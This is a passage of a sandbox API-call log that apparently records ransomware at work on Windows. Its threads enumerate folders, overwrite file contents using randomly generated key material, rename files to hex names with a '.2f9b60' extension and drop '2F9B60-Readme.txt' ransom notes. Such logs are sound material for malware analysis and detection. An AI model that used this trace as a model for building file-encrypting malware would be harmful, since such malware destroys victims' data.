returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\3a0ca3442ec0289a846def4073e2cc72a1a81bcaaecd3e3b281908dece688488c1e34.2f9b60" [0124.180] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\3a0ca3442ec0289a846def4073e2cc72a1a81bcaaecd3e3b281908dece688488c1e34.2f9b60", NtPathName=0x2143f8b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\3a0ca3442ec0289a846def4073e2cc72a1a81bcaaecd3e3b281908dece688488c1e34.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0124.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x112) returned 0x166f20 [0124.193] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x166f20) returned 1 [0124.193] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf486d0) returned 1 [0124.193] NtQueryInformationFile (in: FileHandle=0xfa4, IoStatusBlock=0x2143f918, FileInformation=0x2143f928, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2143f918, FileInformation=0x2143f928) returned 0x0 [0124.193] NtSetInformationFile (FileHandle=0xfa4, IoStatusBlock=0x2143f918, FileInformation=0x2143f928, Length=0x28, FileInformationClass=0x4) returned 0x0 [0124.195] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b772eb0) returned 1 [0124.195] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0xdea80) returned 1 [0124.195] FlushFileBuffers (hFile=0xfa4) returned 1 [0124.241] CloseHandle (hObject=0xfa4) returned 1 [0124.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202ae2f0 [0124.242] wcscpy (in: _Dest=0x202ae2f0, _Source="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\" [0124.242] wcscat (in: _Dest=0x202ae2f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\2F9B60-Readme.txt" [0124.243] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\s-1-5-18\\2f9b60-readme.txt")) returned 0x2020 [0124.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae2f0) returned 1 [0124.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b799160) returned 1 Thread: id = 1546 os_tid = 0x1a7c [0121.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf")) returned 0x20 [0122.440] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF", dwFileAttributes=0x20) returned 1 [0122.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfdc [0123.449] GetFileSizeEx (in: hFile=0xfdc, lpFileSize=0x2010f940 | out: lpFileSize=0x2010f940*=2052) returned 1 [0123.449] SetFilePointerEx (in: hFile=0xfdc, liDistanceToMove=0x800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.449] ReadFile (in: hFile=0xfdc, lpBuffer=0x2010f8c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2010f908, lpOverlapped=0x0 | out: lpBuffer=0x2010f8c0*, lpNumberOfBytesRead=0x2010f908*=0x4, lpOverlapped=0x0) returned 1 [0123.827] SetFilePointerEx (in: hFile=0xfdc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82af60 [0123.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e9e0 [0123.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e950 [0123.827] NtQuerySystemTime (in: CurrentTime=0x2010f800 | out: CurrentTime=0x2010f800*=132462177292066000) returned 0x0 [0123.827] RtlRandomEx (in: Seed=0x2010f7f0 | out: Seed=0x2010f7f0) returned 0x60264b9a [0123.827] RtlRandomEx (in: Seed=0x2010f7f0 | out: Seed=0x2010f7f0) returned 0x3386c55f [0123.827] RtlRandomEx (in: Seed=0x2010f7f0 | out: Seed=0x2010f7f0) returned 0x2267d5b6 [0123.827] RtlRandomEx (in: Seed=0x2010f7f0 | out: Seed=0x2010f7f0) returned 0x393a7a4e [0123.827] RtlRandomEx (in: Seed=0x2010f7f0 | out: Seed=0x2010f7f0) returned 0x2c7daa69 [0123.827] RtlRandomEx (in: Seed=0x2010f7f0 | out: Seed=0x2010f7f0) returned 0x731f3b10 [0123.828] RtlRandomEx (in: Seed=0x2010f7f0 | out: Seed=0x2010f7f0) returned 0x2c7daa69 [0123.828] RtlRandomEx (in: Seed=0x2010f7f0 | out: Seed=0x2010f7f0) returned 0x66c0740c [0123.828] RtlRandomEx (in: Seed=0x2010f7f0 | out: Seed=0x2010f7f0) returned 0x7a4bce0b [0123.828] RtlRandomEx (in: Seed=0x2010f7f0 | out: Seed=0x2010f7f0) returned 0x739959f2 [0123.828] RtlRandomEx (in: Seed=0x2010f7f0 | out: Seed=0x2010f7f0) returned 0x7ed56aff [0123.828] RtlRandomEx (in: Seed=0x2010f7f0 | out: Seed=0x2010f7f0) returned 0x3b8e5722 [0123.828] RtlRandomEx (in: Seed=0x2010f7f0 | out: Seed=0x2010f7f0) returned 0x4f038972 [0123.828] RtlRandomEx (in: Seed=0x2010f7f0 | out: Seed=0x2010f7f0) returned 0x5df28425 [0123.828] RtlRandomEx (in: Seed=0x2010f7f0 | out: Seed=0x2010f7f0) returned 0x3d873da1 [0123.828] RtlRandomEx (in: Seed=0x2010f7f0 | out: Seed=0x2010f7f0) returned 0x4f0bb150 [0123.828] RtlRandomEx (in: Seed=0x2010f7f0 | out: Seed=0x2010f7f0) returned 0x79e3663f [0123.828] RtlRandomEx (in: Seed=0x2010f7f0 | out: Seed=0x2010f7f0) returned 0x5407c12 [0123.828] RtlRandomEx (in: Seed=0x2010f7f0 | out: Seed=0x2010f7f0) returned 0x2177467f [0123.828] RtlRandomEx (in: Seed=0x2010f7f0 | out: Seed=0x2010f7f0) returned 0x1f3a2eac [0123.828] RtlRandomEx (in: Seed=0x2010f7f0 | out: Seed=0x2010f7f0) returned 0x712d8818 [0123.828] RtlRandomEx (in: Seed=0x2010f7f0 | out: Seed=0x2010f7f0) returned 0x26442ace [0123.828] RtlRandomEx (in: Seed=0x2010f7f0 | out: Seed=0x2010f7f0) returned 0x66c0740c [0123.828] RtlRandomEx (in: Seed=0x2010f7f0 | out: Seed=0x2010f7f0) returned 0x3d0e1fee [0123.828] RtlRandomEx (in: Seed=0x2010f7f0 | out: Seed=0x2010f7f0) returned 0x47f0cb1d [0123.828] RtlRandomEx (in: Seed=0x2010f7f0 | out: Seed=0x2010f7f0) returned 0x46d1c034 [0123.828] RtlRandomEx (in: Seed=0x2010f7f0 | out: Seed=0x2010f7f0) returned 0x3077b3d7 [0123.828] RtlRandomEx (in: Seed=0x2010f7f0 | out: Seed=0x2010f7f0) returned 0x14b2f8f3 [0123.828] RtlRandomEx (in: Seed=0x2010f7f0 | out: Seed=0x2010f7f0) returned 0x7cd215a2 [0123.828] RtlRandomEx (in: Seed=0x2010f7f0 | out: Seed=0x2010f7f0) returned 0x3f108c4c [0123.828] RtlRandomEx (in: Seed=0x2010f7f0 | out: Seed=0x2010f7f0) returned 0x2769269 [0123.828] RtlRandomEx (in: Seed=0x2010f7f0 | out: Seed=0x2010f7f0) returned 0x5f37acaf [0124.501] ReadFile (in: hFile=0xfdc, lpBuffer=0x41d485a0, nNumberOfBytesToRead=0x804, lpNumberOfBytesRead=0x2010f7f0, lpOverlapped=0x0 | out: lpBuffer=0x41d485a0*, lpNumberOfBytesRead=0x2010f7f0*=0x804, lpOverlapped=0x0) returned 1 [0124.501] SetFilePointerEx (in: hFile=0xfdc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.501] WriteFile (in: hFile=0xfdc, lpBuffer=0x20213cc0*, nNumberOfBytesToWrite=0x804, lpNumberOfBytesWritten=0x2010f7f4, lpOverlapped=0x0 | out: lpBuffer=0x20213cc0*, lpNumberOfBytesWritten=0x2010f7f4*=0x804, lpOverlapped=0x0) returned 1 [0124.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860210 [0124.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860150 [0124.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860150) returned 1 [0124.558] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20213cc0) returned 1 [0124.558] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d485a0) returned 1 [0124.558] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8672c0) returned 1 [0124.558] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f60) returned 1 [0124.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b860150 [0124.558] SetFilePointerEx (in: hFile=0xfdc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0124.558] WriteFile (in: hFile=0xfdc, lpBuffer=0x167b80*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2010f910, lpOverlapped=0x0 | out: lpBuffer=0x167b80*, lpNumberOfBytesWritten=0x2010f910*=0x10a, lpOverlapped=0x0) returned 1 [0124.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97a30 [0124.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504410 [0124.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e8f0 [0124.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e8f0) returned 1 [0124.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0124.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e8f0 [0124.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e8c0 [0124.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e8c0) returned 1 [0124.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504410) returned 1 [0124.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97a30) returned 1 [0124.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0570 [0124.623] sprintf (in: _Dest=0x1cda0570, _Format="%c%c" | out: _Dest="49") returned 2 [0124.623] sprintf (in: _Dest=0x1cda0572, _Format="%c%c" | out: _Dest="dc") returned 2 [0124.623] sprintf (in: _Dest=0x1cda0574, _Format="%c%c" | out: _Dest="7b") returned 2 [0124.623] sprintf (in: _Dest=0x1cda0576, _Format="%c%c" | out: _Dest="9c") returned 2 [0124.623] sprintf (in: _Dest=0x1cda0578, _Format="%c%c" | out: _Dest="6a") returned 2 [0124.623] sprintf (in: _Dest=0x1cda057a, _Format="%c%c" | out: _Dest="8d") returned 2 [0124.623] sprintf (in: _Dest=0x1cda057c, _Format="%c%c" | out: _Dest="7f") returned 2 [0124.623] sprintf (in: _Dest=0x1cda057e, _Format="%c%c" | out: _Dest="e3") returned 2 [0124.623] sprintf (in: _Dest=0x1cda0580, _Format="%c%c" | out: _Dest="51") returned 2 [0124.623] sprintf (in: _Dest=0x1cda0582, _Format="%c%c" | out: _Dest="d7") returned 2 [0124.623] sprintf (in: _Dest=0x1cda0584, _Format="%c%c" | out: _Dest="73") returned 2 [0124.623] sprintf (in: _Dest=0x1cda0586, _Format="%c%c" | out: _Dest="4c") returned 2 [0124.623] sprintf (in: _Dest=0x1cda0588, _Format="%c%c" | out: _Dest="8f") returned 2 [0124.623] sprintf (in: _Dest=0x1cda058a, _Format="%c%c" | out: _Dest="0a") returned 2 [0124.624] sprintf (in: _Dest=0x1cda058c, _Format="%c%c" | out: _Dest="23") returned 2 [0124.624] sprintf (in: _Dest=0x1cda058e, _Format="%c%c" | out: _Dest="d7") returned 2 [0124.624] sprintf (in: _Dest=0x1cda0590, _Format="%c%c" | out: _Dest="34") returned 2 [0124.624] sprintf (in: _Dest=0x1cda0592, _Format="%c%c" | out: _Dest="a8") returned 2 [0124.624] sprintf (in: _Dest=0x1cda0594, _Format="%c%c" | out: _Dest="4c") returned 2 [0124.624] sprintf (in: _Dest=0x1cda0596, _Format="%c%c" | out: _Dest="d4") returned 2 [0124.624] sprintf (in: _Dest=0x1cda0598, _Format="%c%c" | out: _Dest="53") returned 2 [0124.624] sprintf (in: _Dest=0x1cda059a, _Format="%c%c" | out: _Dest="36") returned 2 [0124.624] sprintf (in: _Dest=0x1cda059c, _Format="%c%c" | out: _Dest="d6") returned 2 [0124.624] sprintf (in: _Dest=0x1cda059e, _Format="%c%c" | out: _Dest="f0") returned 2 [0124.624] RtlInitAnsiString (in: DestinationString=0x2010f988, SourceString="49dc7b9c6a8d7fe351d7734c8f0a23d734a84cd45336d6f0" | out: DestinationString="49dc7b9c6a8d7fe351d7734c8f0a23d734a84cd45336d6f0") [0124.624] RtlAnsiStringToUnicodeString (in: DestinationString=0x2010f958, SourceString="49dc7b9c6a8d7fe351d7734c8f0a23d734a84cd45336d6f0", AllocateDestinationString=1 | out: DestinationString="49dc7b9c6a8d7fe351d7734c8f0a23d734a84cd45336d6f0") returned 0x0 [0124.624] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b863dc0 [0124.624] wcscat (in: _Dest=0x2027a150, _Source="49dc7b9c6a8d" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\49dc7b9c6a8d") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\49dc7b9c6a8d" [0124.624] wcscat (in: _Dest=0x2027a150, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\49dc7b9c6a8d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\49dc7b9c6a8d.2f9b60" [0124.624] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\49dc7b9c6a8d.2f9b60", NtPathName=0x2010f930, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\49dc7b9c6a8d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0124.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107240 [0124.771] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107240) returned 1 [0124.771] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48f90) returned 1 [0124.771] NtQueryInformationFile (in: FileHandle=0xfdc, IoStatusBlock=0x2010f998, FileInformation=0x2010f9a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2010f998, FileInformation=0x2010f9a8) returned 0x0 [0124.771] NtSetInformationFile (FileHandle=0xfdc, IoStatusBlock=0x2010f998, FileInformation=0x2010f9a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0124.772] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027a150) returned 1 [0124.773] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863dc0) returned 1 [0124.773] FlushFileBuffers (hFile=0xfdc) returned 1 [0124.779] CloseHandle (hObject=0xfdc) returned 1 [0124.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x2027b690 [0124.791] wcscpy (in: _Dest=0x2027b690, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0124.791] wcscat (in: _Dest=0x2027b690, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0124.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0124.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027b690) returned 1 [0124.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a46e0) returned 1 Thread: id = 1547 os_tid = 0x1a80 [0121.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x106ac0 [0121.025] wcscpy (in: _Dest=0x106ac0, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" [0121.025] wcscat (in: _Dest=0x106ac0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\" [0121.025] wcscat (in: _Dest=0x106ac0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*" [0121.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd98820 [0121.026] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*", lpFindFileData=0x1cd98820 | out: lpFindFileData=0x1cd98820*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced56e0 [0121.165] wcscmp (_String1=".", _String2=".") returned 0 [0121.165] FindNextFileW (in: hFindFile=0x1ced56e0, lpFindFileData=0x1cd98820 | out: lpFindFileData=0x1cd98820*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.165] wcscmp (_String1="..", _String2=".") returned 1 [0121.165] wcscmp (_String1="..", _String2="..") returned 0 [0121.165] FindNextFileW (in: hFindFile=0x1ced56e0, lpFindFileData=0x1cd98820 | out: lpFindFileData=0x1cd98820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f07a66f, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f07a66f, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76b3ce5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0121.165] wcscmp (_String1="background.png", _String2=".") returned 1 [0121.165] wcscmp (_String1="background.png", _String2="..") returned 1 [0121.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x118540 [0121.166] wcscpy (in: _Dest=0x118540, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" [0121.166] wcscat (in: _Dest=0x118540, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\" [0121.166] wcscat (in: _Dest=0x118540, _Source="background.png" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" [0152.381] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x118540, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14e0 [0152.382] FindNextFileW (in: hFindFile=0x1ced56e0, lpFindFileData=0x1cd98820 | out: lpFindFileData=0x1cd98820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7c5b0d9, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0xc7c5b0d9, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0xc7c5b0d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb61, dwReserved0=0x0, dwReserved1=0x0, cFileName="behavior.xml", cAlternateFileName="")) returned 1 [0152.382] wcscmp (_String1="behavior.xml", _String2=".") returned 1 [0152.382] wcscmp (_String1="behavior.xml", _String2="..") returned 1 [0152.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x119650 [0152.382] wcscpy (in: _Dest=0x119650, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" [0152.382] wcscat (in: _Dest=0x119650, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\" [0152.382] wcscat (in: _Dest=0x119650, _Source="behavior.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml" [0152.382] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x119650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1594 [0152.383] FindNextFileW (in: hFindFile=0x1ced56e0, lpFindFileData=0x1cd98820 | out: lpFindFileData=0x1cd98820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f07a66f, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f07a66f, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76b3ce5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xadc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="device.png", cAlternateFileName="")) returned 1 [0152.383] wcscmp (_String1="device.png", _String2=".") returned 1 [0152.383] wcscmp (_String1="device.png", _String2="..") returned 1 [0152.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbe) returned 0x119310 [0152.383] wcscpy (in: _Dest=0x119310, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" [0152.383] wcscat (in: _Dest=0x119310, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\" [0152.383] wcscat (in: _Dest=0x119310, _Source="device.png" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" [0152.383] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x119310, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd4c [0152.384] FindNextFileW (in: hFindFile=0x1ced56e0, lpFindFileData=0x1cd98820 | out: lpFindFileData=0x1cd98820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0a07cc, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0a07cc, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76d9e43, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="overlay.png", cAlternateFileName="")) returned 1 [0152.384] wcscmp (_String1="overlay.png", _String2=".") returned 1 [0152.384] wcscmp (_String1="overlay.png", _String2="..") returned 1 [0152.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc0) returned 0x119720 [0152.384] wcscpy (in: _Dest=0x119720, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" [0152.384] wcscat (in: _Dest=0x119720, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\" [0152.384] wcscat (in: _Dest=0x119720, _Source="overlay.png" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png") returned="C:\\ProgramData\\Microsoft\\Device 